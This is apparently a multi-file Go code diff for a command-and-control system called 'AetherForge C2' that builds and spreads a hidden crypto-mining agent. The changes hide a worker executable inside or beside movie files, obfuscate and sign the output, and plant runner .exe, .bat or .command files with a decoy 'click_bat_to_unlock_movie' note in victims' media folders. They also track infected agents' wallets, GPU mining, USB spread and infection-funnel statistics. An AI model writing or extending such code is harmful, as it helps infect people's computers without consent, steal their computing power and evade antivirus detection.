fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
},
}
if kind == "video" {
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
}
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
if req.SignBuild {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
} else if !h.signingToolAvailable() {
resp.Notes = append(resp.Notes, signingToolMissingNote())
}
}
return resp

View File

@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
req := &BuildRequest{
FusionEnabled: true,
FusionOutputName: "MyApp.exe",
FusionMediaMode: "embedded",
OutputDir: "exports",
Obfuscate: true,
}
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
t.Fatalf("prep bytes: got %d", got.PrepBytes)
}
if got.EstimatedTotalBytes <= got.PrepBytes {
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
}
if got.OutputFileName != "MyApp.exe" {
t.Fatalf("output name: %s", got.OutputFileName)
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
}
}
func TestEstimateFusionBuildVideoPaired(t *testing.T) {
func TestEstimateFusionBuildFilePaired(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionPayloadKind: "file",
FusionMediaMode: "paired",
}
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
}
if got.ExportPath == "" {
t.Fatal("expected export path for video")
t.Fatal("expected export path for paired file")
}
}
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{
FusionEnabled: true,
FusionPayloadKind: "video",
FusionPayloadKind: "file",
FusionMediaMode: "embedded",
}
prepSize := int64(50 * 1024 * 1024)
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
if got.EstimatedTotalBytes <= prepSize {
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
}
}
@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
req := &BuildRequest{FusionEnabled: true}
req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
prep := filepath.Join(t.TempDir(), "payload.exe")
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
if got.EstimatedTotalBytes <= 1024 {
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
}
}
@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
}
}
func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),
projectRoot: t.TempDir(),
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
}
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
found := false
for _, n := range got.Notes {
if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
found = true
break
}
}
if !found {
t.Fatalf("expected signing tool missing note, got %v", got.Notes)
}
}
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
h := &Handler{
dataDir: t.TempDir(),

View File

@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
return nil, err
}
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
}
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"go.mod",
"shell_windows.go", "hidden_windows.go",
"media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go",
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir)
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
if subdir == "" {
return "", nil
}
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
root := h.projectRoot
if root == "" || root == "." {
root = h.dataDir
}
if root == "" {
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
}
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
}

View File

@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
}
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
h := &Handler{projectRoot: ""}
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
dataDir := t.TempDir()
h := &Handler{projectRoot: "", dataDir: dataDir}
src := filepath.Join(t.TempDir(), "runner.exe")
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
t.Fatal(err)
}
dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
if err != nil {
t.Fatal(err)
}
if dir != "" {
t.Fatalf("expected empty dir when no project root, got %q", dir)
want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
if dir != want {
t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
}
}

View File

@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil {
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
dlName := strings.TrimSpace(build.FileName)
if dlName == "" {
dlName = filepath.Base(build.FilePath)
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
http.ServeFile(w, r, build.FilePath)
}
@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
if h.policy.MaxBuildSizeMB > 0 {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if fileInfo.Size() > maxBytes {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
absPath, _ := filepath.Abs(finalPath)

View File

@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
}
}
func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "bid-2")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuild(rec, req)
if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestDownloadBuildSuccess(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {

View File

@@ -1,7 +1,34 @@
package builder
import (
"fmt"
"os"
)
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
const FusionDeliverablesDir = "fusion-deliverables"
// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
func (h *Handler) checkBuildSize(bytes int64) error {
if h.policy.MaxBuildSizeMB <= 0 {
return nil
}
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if bytes > maxBytes {
return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
}
return nil
}
func (h *Handler) checkBuildSizeFile(path string) error {
st, err := os.Stat(path)
if err != nil {
return err
}
return h.checkBuildSize(st.Size())
}

View File

@@ -1,6 +1,37 @@
package builder
import "testing"
import (
"os"
"path/filepath"
"testing"
)
func TestCheckBuildSizeEnforced(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
t.Fatal("expected oversize error")
}
if err := h.checkBuildSize(512 * 1024); err != nil {
t.Fatalf("expected within limit: %v", err)
}
}
func TestCheckBuildSizeFile(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
path := filepath.Join(t.TempDir(), "big.zip")
if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
t.Fatal(err)
}
if err := h.checkBuildSizeFile(path); err == nil {
t.Fatal("expected file size check failure")
}
}
func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
if multipartMaxMemory <= FusionMaxUploadBytes {
t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
}
}
func TestFusionConstants(t *testing.T) {
if FusionMaxUploadBytes != 2<<30 {

View File

@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
}
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if req.StemMode == "" {
req.StemMode = "original"
}
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
return
}
// Locate the Windows agent binary.
agentExe := findAgentBinary()
agentExe := findAgentBinary(h.dataDir)
if req.TargetWindows && agentExe == "" {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(&PathForgeResult{
Success: false,
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
})
return
}
// Build the extension set.
extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true}
res := &PathForgeResult{}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() {
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok {
res.Skipped++
return nil
}
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// No extension so it appears as a generic document icon on all platforms.
hintName := "click_bat_to_unlock_movie"
hintDst := filepath.Join(dir, hintName)
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
placed = append(placed, hintName)
if len(placed) > 0 {
res.Placed += len(placed)
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
if mediaPlaced > 0 {
res.Placed += mediaPlaced
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else {
res.Errors++
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
}
res.Success = res.Errors == 0
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res)
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge.
func hintContent(batStem string) string {
func hintContent(stem string, macOnly bool) string {
if macOnly {
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + stem + ".command\n" +
"\n" +
"The launcher unlocks and opens the video automatically.\n"
}
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + batStem + ".bat\n" +
"To play it, double-click " + stem + ".bat\n" +
"\n" +
"The .bat file unlocks and opens the video automatically.\n"
}
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
return s
}
// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
func findAgentBinary(dataDir string) string {
exe, err := os.Executable()
if err != nil {
return ""
@@ -281,6 +306,12 @@ func findAgentBinary() string {
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
if dataDir != "" {
candidates = append(candidates,
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dataDir, "crypto-miner-agent.exe"),
)
}
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c

View File

@@ -0,0 +1,73 @@
package builder
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
root := t.TempDir()
mediaDir := filepath.Join(root, "movies")
if err := os.MkdirAll(mediaDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
t.Fatal(err)
}
// Satisfy Windows target requirement.
exe, err := os.Executable()
if err != nil {
t.Fatal(err)
}
agentDir := filepath.Join(filepath.Dir(exe), "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
t.Fatal(err)
}
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
if runtime.GOOS == "windows" {
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
t.Fatal(err)
}
} else {
// Non-Windows: mac-only path avoids agent exe requirement.
}
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
if runtime.GOOS != "windows" {
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
}
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Total != 1 {
t.Fatalf("total: %d", res.Total)
}
// One media file → exe + bat (or .command), not counting hint file.
if res.Placed < 1 || res.Placed >= 3 {
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
}
for _, entry := range res.Results {
for _, f := range entry.Files {
if f == "click_bat_to_unlock_movie" {
continue
}
}
}
}

View File

@@ -9,6 +9,20 @@ import (
"strings"
)
func signingToolMissingNote() string {
return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := exec.LookPath(tool); err == nil {
return true
}
}
_, err := exec.LookPath("osslsigncode")
return err == nil
}
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
// Install: apt install osslsigncode / brew install osslsigncode

View File

@@ -11,11 +11,32 @@ import (
"strings"
)
func signingToolMissingNote() string {
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := os.Stat(tool); err == nil {
return true
}
}
_, err := findSignTool()
return err == nil
}
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false
}
return req.SignBuild
if !req.SignBuild {
return false
}
if _, err := findSignTool(); err != nil {
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
return false
}
return true
}
func (h *Handler) signExecutable(path string) error {

View File

@@ -2,6 +2,7 @@ package builder
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
return out, nil
}
func bundledToolPath(projectRoot, name string) string {
if projectRoot == "" || projectRoot == "." {
return ""
}
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
for _, candidate := range []string{
filepath.Join(base, name),
filepath.Join(base, name+".exe"),
} {
if _, err := os.Stat(candidate); err == nil {
return candidate
}
}
return ""
}
func (h *Handler) resolveToolPaths(projectRoot string) {
if h.goBinPath == "" {
h.goBinPath = "go"
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
}
if p, err := exec.LookPath("garble"); err == nil {
h.garblePath = p
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
h.garblePath = p
}
if p, err := exec.LookPath("go-winres"); err == nil {
h.goWinresPath = p
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
h.goWinresPath = p
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
h.goWinresPath = p
}
}

View File

@@ -0,0 +1,29 @@
package builder
import (
"os"
"path/filepath"
"runtime"
"testing"
)
func TestResolveToolPathsBundledGarble(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("bundled garble probe uses .exe suffix on Windows")
}
root := t.TempDir()
binDir := filepath.Join(root, "toolchain", "gopath", "bin")
if err := os.MkdirAll(binDir, 0755); err != nil {
t.Fatal(err)
}
garblePath := filepath.Join(binDir, "garble")
if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
t.Fatal(err)
}
h := &Handler{projectRoot: root}
h.resolveToolPaths(root)
if h.garblePath != garblePath {
t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
}
}

View File

@@ -40,6 +40,10 @@ func Start(dataDir, deckRoot, token string) error {
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
return nil
}
if cloudflaredAlreadyRunning() {
log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
return nil
}
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
@@ -128,6 +132,14 @@ func ensureBinary(deckRoot string) (string, error) {
return bin, nil
}
func cloudflaredAlreadyRunning() bool {
out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
}
func trimToken(s string) string {
s = strings.TrimSpace(s)
if len(s) >= 2 {

View File

@@ -35,6 +35,7 @@ func (d *Database) scanAgent(row interface {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
var gpuMinerActive int
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -43,6 +44,7 @@ func (d *Database) scanAgent(row interface {
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
)
if err != nil {
return nil, err
@@ -50,13 +52,17 @@ func (d *Database) scanAgent(row interface {
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
if gpuMinerActive == 1 {
active := true
a.GPUMinerActive = &active
}
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -74,3 +74,34 @@ func TestUpdateAgentMetaClearsTags(t *testing.T) {
t.Fatalf("tags not cleared: %v", got.Tags)
}
}
func TestUpdateAgentGPUStatsRoundTrip(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "gpu-roundtrip")
if err := d.UpdateAgentGPUStats("gpu-roundtrip", 12.5, "RTX 4090", true); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent("gpu-roundtrip")
if err != nil {
t.Fatal(err)
}
if got.GPUHashrate15m != 12.5 {
t.Fatalf("gpu_hashrate_15m = %v want 12.5", got.GPUHashrate15m)
}
if got.GPUModel != "RTX 4090" {
t.Fatalf("gpu_model = %q want RTX 4090", got.GPUModel)
}
if got.GPUMinerActive == nil || !*got.GPUMinerActive {
t.Fatalf("gpu_miner_active = %v want true", got.GPUMinerActive)
}
list, err := d.ListAgents()
if err != nil {
t.Fatal(err)
}
if len(list) != 1 || list[0].GPUHashrate15m != 12.5 {
t.Fatalf("ListAgents GPU: %+v", list)
}
}

View File

@@ -18,7 +18,7 @@ type SpreadFunnelStats struct {
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= ?`, since).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {

View File

@@ -20,8 +20,9 @@ type Database struct {
func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db")
// Ensure directory exists
os.MkdirAll(filepath.Dir(dbPath), 0755)
if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
return nil, fmt.Errorf("create data directory: %w", err)
}
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil {

View File

@@ -44,7 +44,7 @@ func (m *Manager) SetVerboseTraffic(enabled bool) {
}
func poolKey(cfg *Config) string {
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s:payment=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet, cfg.PaymentID)
}
// EnsurePoolWithBackups connects to cfg and registers backup pool configs for

View File

@@ -37,6 +37,14 @@ func TestPoolKeyDistinct(t *testing.T) {
}
}
func TestPoolKeyPaymentID(t *testing.T) {
a := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid1"})
b := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid2"})
if a == b {
t.Fatal("payment id should affect pool key")
}
}
func TestTruncateWallet(t *testing.T) {
if truncateWallet("short", 12) != "short" {
t.Fatal("short wallet unchanged")

View File

@@ -60,12 +60,29 @@ func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("AetherForge C2 starting...")
// Load configuration
cfg := LoadConfig()
projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
if err := validateListenPort(cfg.Port); err != nil {
log.Fatalf("Invalid listen port: %v", err)
}
tok := cfg.ConnectorToken()
tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
if tok != "" && !tunnelExternal {
log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
} else if tunnelExternal {
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
} else {
log.Println("[tunnel] No connector token configured")
}
// Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" {
@@ -243,7 +260,7 @@ func main() {
log.Println("Blueprint handler initialized")
// Initialize dropper handler (one-liner remote install)
dropperHandler := api.NewDropperHandler(database, func() string {
dropperHandler := api.NewDropperHandler(database, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
@@ -260,19 +277,9 @@ func main() {
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
}, cfg.Port)
log.Println("Router initialized")
tok := cfg.ConnectorToken()
if tok != "" {
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
}
